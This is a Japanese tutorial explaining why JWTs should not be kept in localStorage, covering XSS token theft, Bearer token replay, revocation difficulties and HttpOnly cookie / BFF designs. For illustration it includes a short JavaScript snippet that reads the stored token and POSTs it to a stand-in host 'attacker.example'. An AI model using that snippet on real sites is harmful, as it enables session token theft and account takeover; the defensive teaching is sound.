結論
「JWT を localStorage に置くな」と言われる理由は、localStorage が JavaScript から読める保存場所だからです。
JWT が Bearer Token として使われている場合、盗んだ人がそのままAPIに送れます。
Authorization: Bearer stolen_jwt
つまり、盗まれたJWTは「本人としてAPIを使うための入館証」になってしまいます。
localStorage に保存する典型例
SPAでよくある実装は次のようなものです。
// ログイン成功後
localStorage.setItem("access_token", data.access_token);
// API呼び出し時
const token = localStorage.getItem("access_token");
await fetch("https://api.example.com/me", {
headers: {
Authorization: `Bearer ${token}`,
},
});
これは分かりやすく、実装も簡単です。しかし、トークンをJavaScriptから読める場所に保存しています。
XSS が起きるとどうなるか
XSSとは、攻撃者のJavaScriptが本来のサイト上で実行されてしまう脆弱性です。
もしXSSが起きると、攻撃者のコードも localStorage.getItem() を実行できます。
const token = localStorage.getItem("access_token");
fetch("https://attacker.example/steal", {
method: "POST",
body: token,
});
盗まれたトークンは、攻撃者の環境からAPIへ送れます。
GET /api/me HTTP/1.1
Host: api.example.com
Authorization: Bearer stolen_token
APIサーバは、トークンが正しく有効期限内であれば、攻撃者のリクエストを本人のものとして扱ってしまいます。
注意: JWT が危険なのではありません。ブラウザにある JavaScript から読める場所に、漏れたら終わりの Bearer Token を置くことが危険です。
HttpOnly Cookie なら何が違うか
HttpOnly Cookie にセッションIDを置いた場合、JavaScriptからCookieの値は読めません。
console.log(document.cookie);
// HttpOnly Cookie は表示されない
そのため、XSSがあってもCookieの値を外部へ送ることは難しくなります。
ただし、Cookieはブラウザが自動送信します。XSS中に次のような操作をされる可能性は残ります。
await fetch("/api/delete-account", {
method: "POST",
});
つまり、HttpOnly Cookie は「XSSがあっても何もできない」ではありません。「トークンを外に持ち出されにくい」です。
被害範囲の違い
localStorage JWT と HttpOnly Cookie では、XSS後の被害範囲が違います。
| 観点 | localStorage JWT | HttpOnly Cookie |
|---|---|---|
| トークンを読めるか | 読める | 読めない |
| 外部送信できるか | できる | しにくい |
| 攻撃者のサーバから再利用できるか | しやすい | しにくい |
| XSS中の操作 | される | される可能性あり |
重要なのは、長期被害です。JWTを盗まれると、攻撃者はユーザーのブラウザから離れてもトークンを使える可能性があります。
HttpOnly Cookie では、少なくともCookie値そのものを持ち出す経路が狭まります。
JWT の即時失効問題
JWT は署名付きトークンです。API側は署名と有効期限を見て検証できます。
これは便利ですが、発行済みJWTを即時に取り消すのが難しいという弱点があります。
たとえばユーザーがログアウトしても、盗まれたJWTがまだ有効期限内なら、APIで受け付けられる可能性があります。
これを防ぐには、ブラックリストやトークンバージョンなど、サーバ側の状態管理が必要になります。
JWT検証
-> 署名検証
-> 有効期限確認
-> ブラックリスト確認
ここまでやると、JWTの「ステートレスでよい」という利点は薄れます。
では JWT は使わない方がよいのか
そうではありません。
JWT は、サーバ間、BFFとAPI間、マイクロサービス間では便利です。問題は、ブラウザにJWTを直接持たせることです。
現代的な構成では、次のように役割を分けます。
| 境界 | 認証方式 |
|---|---|
| Browser ↔ BFF | HttpOnly Cookie |
| BFF ↔ API | JWT / OAuth access token |
| Service ↔ Service | JWT / mTLS |
JWTを使う場所を、ブラウザからサーバ側へ移すわけです。
まとめ
「JWT を localStorage に置くな」の意味は、次のように整理できます。
- localStorage は JavaScript から読める
- XSSがあると攻撃者のJavaScriptにも読まれる
- JWT が Bearer Token なら、盗んだ人がAPIで使える
- JWTは有効期限内の即時失効が難しい
- HttpOnly Cookie はトークン窃取を軽減できる
- ただしHttpOnly CookieでもXSS対策は必要
- 現代的にはJWTをBFFやサーバ側に閉じ込める
実践メモ: 初学者は「JWTは悪」ではなく「ブラウザに読める形で置くBearer Tokenが危険」と覚えてください。
参考リソース
- 公式ドキュメント - JWT を localStorage に置くなと言われる理由 を確認するための一次情報